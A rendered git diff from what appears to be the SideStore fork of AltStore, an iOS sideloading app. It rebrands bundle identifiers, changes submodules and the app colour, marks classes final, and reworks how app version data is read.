<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||||
|
## Changelog
|
||||||
|
|
||||||
|
- TODO
|
||||||
|
|
||||||
|
## Build Info
|
||||||
|
|
||||||
|
Built at (UTC): `${{ steps.date.outputs.date }}`
|
||||||
|
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||||
|
Commit SHA: `${{ github.sha }}`
|
||||||
|
Version: `${{ steps.version.outputs.version }}`
|
||||||
10
.gitignore
vendored
@@ -34,3 +34,13 @@ xcuserdata
|
|||||||
|
|
||||||
## AppCode specific
|
## AppCode specific
|
||||||
.idea/
|
.idea/
|
||||||
|
|
||||||
|
Payload/
|
||||||
|
SideStore.ipa
|
||||||
|
*.dSYM
|
||||||
|
|
||||||
|
Dependencies/.*-prebuilt-fetch-*
|
||||||
|
Dependencies/minimuxer/*
|
||||||
|
Dependencies/em_proxy/*
|
||||||
|
!Dependencies/**/.gitkeep
|
||||||
|
.nightly-build-num
|
||||||
|
|||||||
9
.gitmodules
vendored
@@ -13,12 +13,9 @@
|
|||||||
[submodule "Dependencies/MarkdownAttributedString"]
|
[submodule "Dependencies/MarkdownAttributedString"]
|
||||||
path = Dependencies/MarkdownAttributedString
|
path = Dependencies/MarkdownAttributedString
|
||||||
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
||||||
[submodule "Dependencies/em_proxy"]
|
|
||||||
path = Dependencies/em_proxy
|
|
||||||
url = https://github.com/jkcoxson/em_proxy
|
|
||||||
[submodule "Dependencies/libimobiledevice-glue"]
|
[submodule "Dependencies/libimobiledevice-glue"]
|
||||||
path = Dependencies/libimobiledevice-glue
|
path = Dependencies/libimobiledevice-glue
|
||||||
url = https://github.com/libimobiledevice/libimobiledevice-glue
|
url = https://github.com/libimobiledevice/libimobiledevice-glue
|
||||||
[submodule "Dependencies/minimuxer"]
|
[submodule "Dependencies/libfragmentzip"]
|
||||||
path = Dependencies/minimuxer
|
path = Dependencies/libfragmentzip
|
||||||
url = https://github.com/jkcoxson/minimuxer
|
url = https://github.com/SideStore/libfragmentzip.git
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
<key>ALTAppGroups</key>
|
<key>ALTAppGroups</key>
|
||||||
<array>
|
<array>
|
||||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||||
<string>group.com.rileytestut.AltStore</string>
|
<string>group.com.SideStore.SideStore</string>
|
||||||
</array>
|
</array>
|
||||||
<key>ALTBundleIdentifier</key>
|
<key>ALTBundleIdentifier</key>
|
||||||
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ extension XPCConnectionHandler: NSXPCListenerDelegate
|
|||||||
guard
|
guard
|
||||||
let codeSigningInfo = signingInfo as? [String: Any],
|
let codeSigningInfo = signingInfo as? [String: Any],
|
||||||
let bundleIdentifier = codeSigningInfo["identifier"] as? String,
|
let bundleIdentifier = codeSigningInfo["identifier"] as? String,
|
||||||
bundleIdentifier.contains("com.rileytestut.AltStore")
|
bundleIdentifier.contains(Bundle.Info.appbundleIdentifier)
|
||||||
else { return false }
|
else { return false }
|
||||||
|
|
||||||
let connection = XPCConnection(newConnection)
|
let connection = XPCConnection(newConnection)
|
||||||
|
|||||||
@@ -1,3 +1,3 @@
|
|||||||
#include "Build.xcconfig"
|
#include "Build.xcconfig"
|
||||||
|
|
||||||
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).$(PRODUCT_NAME)
|
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)
|
||||||
|
|||||||
@@ -63,6 +63,15 @@
|
|||||||
"version" : "1.10.1"
|
"version" : "1.10.1"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"identity" : "semanticversion",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
|
||||||
|
"state" : {
|
||||||
|
"revision" : "fc670910dc0903cc269b3d0b776cda5703979c4e",
|
||||||
|
"version" : "0.3.5"
|
||||||
|
}
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"identity" : "sparkle",
|
"identity" : "sparkle",
|
||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
|
|||||||
@@ -0,0 +1,84 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1020"
|
||||||
|
version = "1.3">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BFD247692284B9A500981D42"
|
||||||
|
BuildableName = "SideStore.app"
|
||||||
|
BlueprintName = "SideStore"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||||
|
<Testables>
|
||||||
|
</Testables>
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BFD247692284B9A500981D42"
|
||||||
|
BuildableName = "SideStore.app"
|
||||||
|
BlueprintName = "SideStore"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
<CommandLineArguments>
|
||||||
|
<CommandLineArgument
|
||||||
|
argument = "-com.apple.CoreData.ConcurrencyDebug 1"
|
||||||
|
isEnabled = "YES">
|
||||||
|
</CommandLineArgument>
|
||||||
|
</CommandLineArguments>
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "BFD247692284B9A500981D42"
|
||||||
|
BuildableName = "SideStore.app"
|
||||||
|
BlueprintName = "SideStore"
|
||||||
|
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Release">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
@@ -5,4 +5,8 @@
|
|||||||
#import "NSAttributedString+Markdown.h"
|
#import "NSAttributedString+Markdown.h"
|
||||||
#import "ALTAppPatcher.h"
|
#import "ALTAppPatcher.h"
|
||||||
|
|
||||||
|
#import "grant_fda.h"
|
||||||
|
#import "vm_unalign_csr.h"
|
||||||
|
#import "helping_tools.h"
|
||||||
|
|
||||||
#include "fragmentzip.h"
|
#include "fragmentzip.h"
|
||||||
|
|||||||
@@ -14,13 +14,7 @@ import AppCenter
|
|||||||
import AppCenterAnalytics
|
import AppCenterAnalytics
|
||||||
import AppCenterCrashes
|
import AppCenterCrashes
|
||||||
|
|
||||||
#if DEBUG
|
private let appCenterAppSecret = "73532d3e-e573-4693-99a4-9f85840bbb44"
|
||||||
private let appCenterAppSecret = "bb08e9bb-c126-408d-bf3f-324c8473fd40"
|
|
||||||
#elseif RELEASE
|
|
||||||
private let appCenterAppSecret = "b6718932-294a-432b-81f2-be1e17ff85c5"
|
|
||||||
#else
|
|
||||||
private let appCenterAppSecret = "e873f6ca-75eb-4685-818f-801e0e375d60"
|
|
||||||
#endif
|
|
||||||
|
|
||||||
extension AnalyticsManager
|
extension AnalyticsManager
|
||||||
{
|
{
|
||||||
@@ -77,7 +71,7 @@ extension AnalyticsManager
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class AnalyticsManager
|
final class AnalyticsManager
|
||||||
{
|
{
|
||||||
static let shared = AnalyticsManager()
|
static let shared = AnalyticsManager()
|
||||||
|
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ extension AppContentViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class AppContentViewController: UITableViewController
|
final class AppContentViewController: UITableViewController
|
||||||
{
|
{
|
||||||
var app: StoreApp!
|
var app: StoreApp!
|
||||||
|
|
||||||
@@ -80,10 +80,21 @@ class AppContentViewController: UITableViewController
|
|||||||
|
|
||||||
self.subtitleLabel.text = self.app.subtitle
|
self.subtitleLabel.text = self.app.subtitle
|
||||||
self.descriptionTextView.text = self.app.localizedDescription
|
self.descriptionTextView.text = self.app.localizedDescription
|
||||||
self.versionDescriptionTextView.text = self.app.versionDescription
|
|
||||||
self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), self.app.version)
|
if let version = self.app.latestVersion
|
||||||
self.versionDateLabel.text = Date().relativeDateString(since: self.app.versionDate, dateFormatter: self.dateFormatter)
|
{
|
||||||
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: Int64(self.app.size))
|
self.versionDescriptionTextView.text = version.localizedDescription
|
||||||
|
self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), version.version)
|
||||||
|
self.versionDateLabel.text = Date().relativeDateString(since: version.date, dateFormatter: self.dateFormatter)
|
||||||
|
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: version.size)
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
self.versionDescriptionTextView.text = nil
|
||||||
|
self.versionLabel.text = nil
|
||||||
|
self.versionDateLabel.text = nil
|
||||||
|
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: 0)
|
||||||
|
}
|
||||||
|
|
||||||
self.descriptionTextView.maximumNumberOfLines = 5
|
self.descriptionTextView.maximumNumberOfLines = 5
|
||||||
self.descriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered)
|
self.descriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered)
|
||||||
@@ -173,7 +184,8 @@ private extension AppContentViewController
|
|||||||
dataSource.cellConfigurationHandler = { (cell, permission, indexPath) in
|
dataSource.cellConfigurationHandler = { (cell, permission, indexPath) in
|
||||||
let cell = cell as! PermissionCollectionViewCell
|
let cell = cell as! PermissionCollectionViewCell
|
||||||
cell.button.setImage(permission.type.icon, for: .normal)
|
cell.button.setImage(permission.type.icon, for: .normal)
|
||||||
cell.textLabel.text = permission.type.localizedShortName
|
cell.button.tintColor = .label
|
||||||
|
cell.textLabel.text = permission.type.localizedShortName ?? permission.type.localizedName
|
||||||
}
|
}
|
||||||
|
|
||||||
return dataSource
|
return dataSource
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class PermissionCollectionViewCell: UICollectionViewCell
|
final class PermissionCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
@IBOutlet var button: UIButton!
|
@IBOutlet var button: UIButton!
|
||||||
@IBOutlet var textLabel: UILabel!
|
@IBOutlet var textLabel: UILabel!
|
||||||
@@ -29,7 +29,7 @@ class PermissionCollectionViewCell: UICollectionViewCell
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class AppContentTableViewCell: UITableViewCell
|
final class AppContentTableViewCell: UITableViewCell
|
||||||
{
|
{
|
||||||
override func systemLayoutSizeFitting(_ targetSize: CGSize, withHorizontalFittingPriority horizontalFittingPriority: UILayoutPriority, verticalFittingPriority: UILayoutPriority) -> CGSize
|
override func systemLayoutSizeFitting(_ targetSize: CGSize, withHorizontalFittingPriority horizontalFittingPriority: UILayoutPriority, verticalFittingPriority: UILayoutPriority) -> CGSize
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import Roxas
|
|||||||
|
|
||||||
import Nuke
|
import Nuke
|
||||||
|
|
||||||
class AppViewController: UIViewController
|
final class AppViewController: UIViewController
|
||||||
{
|
{
|
||||||
var app: StoreApp!
|
var app: StoreApp!
|
||||||
|
|
||||||
@@ -352,7 +352,7 @@ class AppViewController: UIViewController
|
|||||||
|
|
||||||
extension AppViewController
|
extension AppViewController
|
||||||
{
|
{
|
||||||
class func makeAppViewController(app: StoreApp) -> AppViewController
|
final class func makeAppViewController(app: StoreApp) -> AppViewController
|
||||||
{
|
{
|
||||||
let storyboard = UIStoryboard(name: "Main", bundle: nil)
|
let storyboard = UIStoryboard(name: "Main", bundle: nil)
|
||||||
|
|
||||||
@@ -384,10 +384,10 @@ private extension AppViewController
|
|||||||
button.progress = progress
|
button.progress = progress
|
||||||
}
|
}
|
||||||
|
|
||||||
if Date() < self.app.versionDate
|
if let versionDate = self.app.latestVersion?.date, versionDate > Date()
|
||||||
{
|
{
|
||||||
self.bannerView.button.countdownDate = self.app.versionDate
|
self.bannerView.button.countdownDate = versionDate
|
||||||
self.navigationBarDownloadButton.countdownDate = self.app.versionDate
|
self.navigationBarDownloadButton.countdownDate = versionDate
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import UIKit
|
|||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
|
|
||||||
class PermissionPopoverViewController: UIViewController
|
final class PermissionPopoverViewController: UIViewController
|
||||||
{
|
{
|
||||||
var permission: AppPermission!
|
var permission: AppPermission!
|
||||||
|
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import UIKit
|
|||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
class AppIDsViewController: UICollectionViewController
|
final class AppIDsViewController: UICollectionViewController
|
||||||
{
|
{
|
||||||
private lazy var dataSource = self.makeDataSource()
|
private lazy var dataSource = self.makeDataSource()
|
||||||
|
|
||||||
|
|||||||
@@ -18,11 +18,11 @@ import EmotionalDamage
|
|||||||
|
|
||||||
extension AppDelegate
|
extension AppDelegate
|
||||||
{
|
{
|
||||||
static let openPatreonSettingsDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.OpenPatreonSettingsDeepLinkNotification")
|
static let openPatreonSettingsDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".OpenPatreonSettingsDeepLinkNotification")
|
||||||
static let importAppDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.ImportAppDeepLinkNotification")
|
static let importAppDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".ImportAppDeepLinkNotification")
|
||||||
static let addSourceDeepLinkNotification = Notification.Name("com.rileytestut.AltStore.AddSourceDeepLinkNotification")
|
static let addSourceDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".AddSourceDeepLinkNotification")
|
||||||
|
|
||||||
static let appBackupDidFinish = Notification.Name("com.rileytestut.AltStore.AppBackupDidFinish")
|
static let appBackupDidFinish = Notification.Name(Bundle.Info.appbundleIdentifier + ".AppBackupDidFinish")
|
||||||
|
|
||||||
static let importAppDeepLinkURLKey = "fileURL"
|
static let importAppDeepLinkURLKey = "fileURL"
|
||||||
static let appBackupResultKey = "result"
|
static let appBackupResultKey = "result"
|
||||||
@@ -30,7 +30,7 @@ extension AppDelegate
|
|||||||
}
|
}
|
||||||
|
|
||||||
@UIApplicationMain
|
@UIApplicationMain
|
||||||
class AppDelegate: UIResponder, UIApplicationDelegate {
|
final class AppDelegate: UIResponder, UIApplicationDelegate {
|
||||||
|
|
||||||
var window: UIWindow?
|
var window: UIWindow?
|
||||||
|
|
||||||
@@ -97,6 +97,18 @@ class AppDelegate: UIResponder, UIApplicationDelegate {
|
|||||||
|
|
||||||
func applicationDidEnterBackground(_ application: UIApplication)
|
func applicationDidEnterBackground(_ application: UIApplication)
|
||||||
{
|
{
|
||||||
|
// Make sure to update SceneDelegate.sceneDidEnterBackground() as well.
|
||||||
|
|
||||||
|
guard let oneMonthAgo = Calendar.current.date(byAdding: .month, value: -1, to: Date()) else { return }
|
||||||
|
|
||||||
|
let midnightOneMonthAgo = Calendar.current.startOfDay(for: oneMonthAgo)
|
||||||
|
DatabaseManager.shared.purgeLoggedErrors(before: midnightOneMonthAgo) { result in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .success: break
|
||||||
|
case .failure(let error): print("[ALTLog] Failed to purge logged errors before \(midnightOneMonthAgo).", error)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -368,11 +380,11 @@ private extension AppDelegate
|
|||||||
for update in updates
|
for update in updates
|
||||||
{
|
{
|
||||||
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
|
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
|
||||||
guard let storeApp = update.storeApp else { continue }
|
guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
|
||||||
|
|
||||||
let content = UNMutableNotificationContent()
|
let content = UNMutableNotificationContent()
|
||||||
content.title = NSLocalizedString("New Update Available", comment: "")
|
content.title = NSLocalizedString("New Update Available", comment: "")
|
||||||
content.body = String(format: NSLocalizedString("%@ %@ is now available for download.", comment: ""), update.name, storeApp.version)
|
content.body = String(format: NSLocalizedString("%@ %@ is now available for download.", comment: ""), update.name, version)
|
||||||
content.sound = .default
|
content.sound = .default
|
||||||
|
|
||||||
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
|
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import UIKit
|
|||||||
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
|
||||||
class AuthenticationViewController: UIViewController
|
final class AuthenticationViewController: UIViewController
|
||||||
{
|
{
|
||||||
var authenticationHandler: ((String, String, @escaping (Result<(ALTAccount, ALTAppleAPISession), Error>) -> Void) -> Void)?
|
var authenticationHandler: ((String, String, @escaping (Result<(ALTAccount, ALTAppleAPISession), Error>) -> Void) -> Void)?
|
||||||
var completionHandler: (((ALTAccount, ALTAppleAPISession, String)?) -> Void)?
|
var completionHandler: (((ALTAccount, ALTAppleAPISession, String)?) -> Void)?
|
||||||
@@ -31,7 +31,7 @@ class AuthenticationViewController: UIViewController
|
|||||||
{
|
{
|
||||||
super.viewDidLoad()
|
super.viewDidLoad()
|
||||||
|
|
||||||
self.signInButton.activityIndicatorView.style = .white
|
self.signInButton.activityIndicatorView.style = .medium
|
||||||
|
|
||||||
for view in [self.appleIDBackgroundView!, self.passwordBackgroundView!, self.signInButton!]
|
for view in [self.appleIDBackgroundView!, self.passwordBackgroundView!, self.signInButton!]
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class InstructionsViewController: UIViewController
|
final class InstructionsViewController: UIViewController
|
||||||
{
|
{
|
||||||
var completionHandler: (() -> Void)?
|
var completionHandler: (() -> Void)?
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import AltStoreCore
|
|||||||
import AltSign
|
import AltSign
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
class RefreshAltStoreViewController: UIViewController
|
final class RefreshAltStoreViewController: UIViewController
|
||||||
{
|
{
|
||||||
var context: AuthenticatedOperationContext!
|
var context: AuthenticatedOperationContext!
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ import IntentsUI
|
|||||||
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
|
||||||
class SelectTeamViewController: UITableViewController
|
final class SelectTeamViewController: UITableViewController
|
||||||
{
|
{
|
||||||
public var teams: [ALTTeam]?
|
public var teams: [ALTTeam]?
|
||||||
public var completionHandler: ((Result<ALTTeam, Swift.Error>) -> Void)?
|
public var completionHandler: ((Result<ALTTeam, Swift.Error>) -> Void)?
|
||||||
|
|||||||
@@ -1095,13 +1095,13 @@ World</string>
|
|||||||
<image name="News" width="19" height="20"/>
|
<image name="News" width="19" height="20"/>
|
||||||
<image name="Settings" width="20" height="20"/>
|
<image name="Settings" width="20" height="20"/>
|
||||||
<namedColor name="Background">
|
<namedColor name="Background">
|
||||||
<color red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||||
</namedColor>
|
</namedColor>
|
||||||
<namedColor name="BlurTint">
|
<namedColor name="BlurTint">
|
||||||
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/>
|
<color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
|
||||||
</namedColor>
|
</namedColor>
|
||||||
<namedColor name="Primary">
|
<namedColor name="Primary">
|
||||||
<color red="0.50196078431372548" green="0.2627450980392157" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||||
</namedColor>
|
</namedColor>
|
||||||
<systemColor name="systemBackgroundColor">
|
<systemColor name="systemBackgroundColor">
|
||||||
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import Roxas
|
|||||||
|
|
||||||
import Nuke
|
import Nuke
|
||||||
|
|
||||||
@objc class BrowseCollectionViewCell: UICollectionViewCell
|
@objc final class BrowseCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
var imageURLs: [URL] = [] {
|
var imageURLs: [URL] = [] {
|
||||||
didSet {
|
didSet {
|
||||||
|
|||||||
@@ -94,7 +94,7 @@ private extension BrowseViewController
|
|||||||
cell.bannerView.iconImageView.isIndicatingActivity = true
|
cell.bannerView.iconImageView.isIndicatingActivity = true
|
||||||
|
|
||||||
cell.bannerView.button.addTarget(self, action: #selector(BrowseViewController.performAppAction(_:)), for: .primaryActionTriggered)
|
cell.bannerView.button.addTarget(self, action: #selector(BrowseViewController.performAppAction(_:)), for: .primaryActionTriggered)
|
||||||
cell.bannerView.button.activityIndicatorView.style = .white
|
cell.bannerView.button.activityIndicatorView.style = .medium
|
||||||
|
|
||||||
// Explicitly set to false to ensure we're starting from a non-activity indicating state.
|
// Explicitly set to false to ensure we're starting from a non-activity indicating state.
|
||||||
// Otherwise, cell reuse can mess up some cached values.
|
// Otherwise, cell reuse can mess up some cached values.
|
||||||
@@ -113,7 +113,7 @@ private extension BrowseViewController
|
|||||||
let progress = AppManager.shared.installationProgress(for: app)
|
let progress = AppManager.shared.installationProgress(for: app)
|
||||||
cell.bannerView.button.progress = progress
|
cell.bannerView.button.progress = progress
|
||||||
|
|
||||||
if Date() < app.versionDate
|
if let versionDate = app.latestVersion?.date, versionDate > Date()
|
||||||
{
|
{
|
||||||
cell.bannerView.button.countdownDate = app.versionDate
|
cell.bannerView.button.countdownDate = app.versionDate
|
||||||
}
|
}
|
||||||
@@ -166,16 +166,9 @@ private extension BrowseViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
func updateDataSource()
|
func updateDataSource()
|
||||||
{
|
|
||||||
if let patreonAccount = DatabaseManager.shared.patreonAccount(), patreonAccount.isPatron, PatreonAPI.shared.isAuthenticated
|
|
||||||
{
|
{
|
||||||
self.dataSource.predicate = nil
|
self.dataSource.predicate = nil
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
self.dataSource.predicate = NSPredicate(format: "%K == NO", #keyPath(StoreApp.isBeta))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func fetchSource()
|
func fetchSource()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class AppIconImageView: UIImageView
|
final class AppIconImageView: UIImageView
|
||||||
{
|
{
|
||||||
override func awakeFromNib()
|
override func awakeFromNib()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import AVFoundation
|
import AVFoundation
|
||||||
|
|
||||||
class BackgroundTaskManager
|
final class BackgroundTaskManager
|
||||||
{
|
{
|
||||||
static let shared = BackgroundTaskManager()
|
static let shared = BackgroundTaskManager()
|
||||||
|
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class BannerCollectionViewCell: UICollectionViewCell
|
final class BannerCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
private(set) var errorBadge: UIView?
|
private(set) var errorBadge: UIView?
|
||||||
@IBOutlet private(set) var bannerView: AppBannerView!
|
@IBOutlet private(set) var bannerView: AppBannerView!
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class Button: UIButton
|
final class Button: UIButton
|
||||||
{
|
{
|
||||||
override var intrinsicContentSize: CGSize {
|
override var intrinsicContentSize: CGSize {
|
||||||
var size = super.intrinsicContentSize
|
var size = super.intrinsicContentSize
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class CollapsingTextView: UITextView
|
final class CollapsingTextView: UITextView
|
||||||
{
|
{
|
||||||
var isCollapsed = true {
|
var isCollapsed = true {
|
||||||
didSet {
|
didSet {
|
||||||
@@ -71,8 +71,10 @@ class CollapsingTextView: UITextView
|
|||||||
{
|
{
|
||||||
self.textContainer.maximumNumberOfLines = self.maximumNumberOfLines
|
self.textContainer.maximumNumberOfLines = self.maximumNumberOfLines
|
||||||
|
|
||||||
let maximumCollapsedHeight = font.lineHeight * CGFloat(self.maximumNumberOfLines)
|
let boundingSize = self.attributedText.boundingRect(with: CGSize(width: self.textContainer.size.width, height: .infinity), options: [.usesLineFragmentOrigin, .usesFontLeading], context: nil)
|
||||||
if self.intrinsicContentSize.height > maximumCollapsedHeight
|
let maximumCollapsedHeight = font.lineHeight * Double(self.maximumNumberOfLines)
|
||||||
|
|
||||||
|
if boundingSize.height.rounded() > maximumCollapsedHeight.rounded()
|
||||||
{
|
{
|
||||||
var exclusionFrame = moreButtonFrame
|
var exclusionFrame = moreButtonFrame
|
||||||
exclusionFrame.origin.y += self.moreButton.bounds.midY
|
exclusionFrame.origin.y += self.moreButton.bounds.midY
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class ForwardingNavigationController: UINavigationController
|
final class ForwardingNavigationController: UINavigationController
|
||||||
{
|
{
|
||||||
override var childForStatusBarStyle: UIViewController? {
|
override var childForStatusBarStyle: UIViewController? {
|
||||||
return self.topViewController
|
return self.topViewController
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import UIKit
|
|||||||
|
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
class NavigationBar: UINavigationBar
|
final class NavigationBar: UINavigationBar
|
||||||
{
|
{
|
||||||
@IBInspectable var automaticallyAdjustsItemPositions: Bool = true
|
@IBInspectable var automaticallyAdjustsItemPositions: Bool = true
|
||||||
|
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
